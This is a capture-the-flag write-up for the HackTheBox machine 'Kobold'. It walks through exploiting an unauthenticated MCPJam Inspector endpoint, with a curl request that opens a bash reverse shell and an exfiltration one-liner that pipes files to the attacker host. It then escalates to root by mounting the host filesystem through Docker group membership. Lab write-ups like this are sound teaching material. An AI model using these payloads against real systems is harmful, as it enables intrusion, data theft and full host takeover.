HTB Kobold — Writeup
Author: 0xIDA
Solvers
| Field | Value |
|---|---|
| Platform | HackTheBox |
| Machine | Kobold |
| ID | 856 |
| OS | Linux |
| Difficulty | Easy |
| Points | 20 |
| Author (maker) | sau123 |
| Solver author | 0xIDA |
| Date | 2026-07-13 |
| Verification | Live submitted (user + root) via HTB MCP |
Flags (verified live)
- User:
7e3dedec17b2aa3905d089562ecfa91a - Root:
af36a45c82b8e69cb52cb3f35c99a4c8
Synopsis
Easy free Linux box. External RCE via MCPJam Inspector CVE-2026-23744 on mcp.kobold.htb, shell as ben. Privilege escalation via docker group membership hidden in /etc/gshadow + sg docker / newgrp docker, then privileged container with host FS mount. Alternate longer path: PrivateBin shared volume + LFI (CVE-2025-64714) → credential reuse into Arcane Docker UI.
Reconnaissance
VPN: HTB free EU Machines (attacker 10.10.15.137). Target IP (this spawn): 10.129.245.50.
echo '10.129.245.50 kobold.htb mcp.kobold.htb bin.kobold.htb' >> /etc/hosts
nmap -sC -sV -Pn -oA nmap 10.129.245.50
Open ports:
| Port | Service | Notes |
|---|---|---|
| 22 | OpenSSH 9.6p1 Ubuntu | no creds yet |
| 80 | nginx | redirect → HTTPS |
| 443 | nginx | Kobold Operations Suite, SAN *.kobold.htb |
| 3552 | Arcane v1.x HTTP | Docker management UI, auth required |
Wildcard cert → vhost enum. Only non-redirect vhost:
mcp.kobold.htb → MCPJam Inspector SPA (no auth)
bin.kobold.htb → PrivateBin 2.0.2 (after internal nginx discovery)
Landing page on kobold.htb is static “Coming Soon” only.
User — CVE-2026-23744 MCPJam RCE
MCPJam Inspector ≤1.4.2 exposes unauthenticated:
POST /api/mcp/connect
Content-Type: application/json
{"serverConfig":{"command":"bash","args":["-c","<cmd>"],"env":{}},"serverId":"x"}
PoC (reverse shell; open UFW for HTB range first):
ufw allow from 10.0.0.0/8 to any port 4445 proto tcp
# listener: nc -lvnp 4445
curl -sk --resolve mcp.kobold.htb:443:10.129.245.50 \
-H 'Content-Type: application/json' \
-d '{"serverConfig":{"command":"bash","args":["-c","bash -i >& /dev/tcp/10.10.15.137/4445 0>&1"],"env":{}},"serverId":"rshell1"}' \
https://mcp.kobold.htb/api/mcp/connect
Shell as ben under /usr/local/lib/node_modules/@mcpjam/inspector.
HTTP exfil (when interactive stdin is awkward):
# attacker: python3 HTTP PUT logger on :4446
# target via same /api/mcp/connect:
bash -c '{ id; cat /home/ben/user.txt; ...; } | curl -sk -X PUT --data-binary @- http://10.10.15.137:4446/r'
User flag:
/home/ben/user.txt
7e3dedec17b2aa3905d089562ecfa91a
Submit:
mcp__htb__submit_user_flag → Kobold user is now owned.
Post-foothold notes:
uid=1001(ben) groups=ben,operator/etc/groupshowsdocker:x:111:aliceonly (ben not listed)- Local:
127.0.0.1:6274MCPJam,127.0.0.1:8080PrivateBin container,*:3552Arcane operatorowns/privatebin-data(Docker volume for PrivateBin)- Arcane unit:
ENCRYPTION_KEY=Q3PbC9fpq/tPZ2waXI9+grmc8ualF7ITF5izX5rsk+E=(not needed for short root path)
Root — gshadow docker membership + host mount
/etc/group omits ben from docker, but sg docker / newgrp docker succeeds because membership can live in /etc/gshadow (readable by root; sg still switches when authorized). Effective identity after switch:
uid=1001(ben) gid=111(docker) groups=111(docker),37(operator),1001(ben)
Docker works. Local image privatebin/nginx-fpm-alpine:2.0.2 already present (offline registry).
sg docker -c 'docker run --rm -u 0 -v /:/hostfs --entrypoint /bin/sh privatebin/nginx-fpm-alpine:2.0.2 -c "cat /hostfs/root/root.txt"'
Root flag:
af36a45c82b8e69cb52cb3f35c99a4c8
Submit:
mcp__htb__submit_root_flag → Kobold root is now owned.
Notes:
--entrypoint /bin/shrequired or container default (nginx/php-fpm) steals the process-u 0required to read/hostfs/root--rmcleans up
Alternate path (documented, not required for this solve)
- Write PHP into world-writable
/privatebin-data/data/(shared host↔PrivateBin volume). - PrivateBin 2.0.2 LFI via template cookie CVE-2025-64714 → RCE inside container.
- Read container config (e.g.
/srv/cfg/conf.php/ MySQL password). - Credential reuse on Arcane (
http://kobold.htb:3552, default user oftenarcane) → create privileged container mounting/→ root.
Tools
- nmap, curl, python3 HTTP callback, base64 RCE staging
- HTB MCP (start/stop, submit user/root)
- docker / sg
Key takeaways
- MCPJam
/api/mcp/connectis unauthenticated RCE on ≤1.4.2 when bound beyond localhost. - Wildcard TLS SAN drives vhost discovery even when default host is static.
dockergroup membership may appear only in gshadow — always trysg docker/newgrp docker.- Docker group = root via
-v /:/hostfs. - Shared volumes + container LFI is a viable alternate chain for credential recovery into management UIs.
Paths
- Machine workdir: `
- This writeup: `
- Mirror: `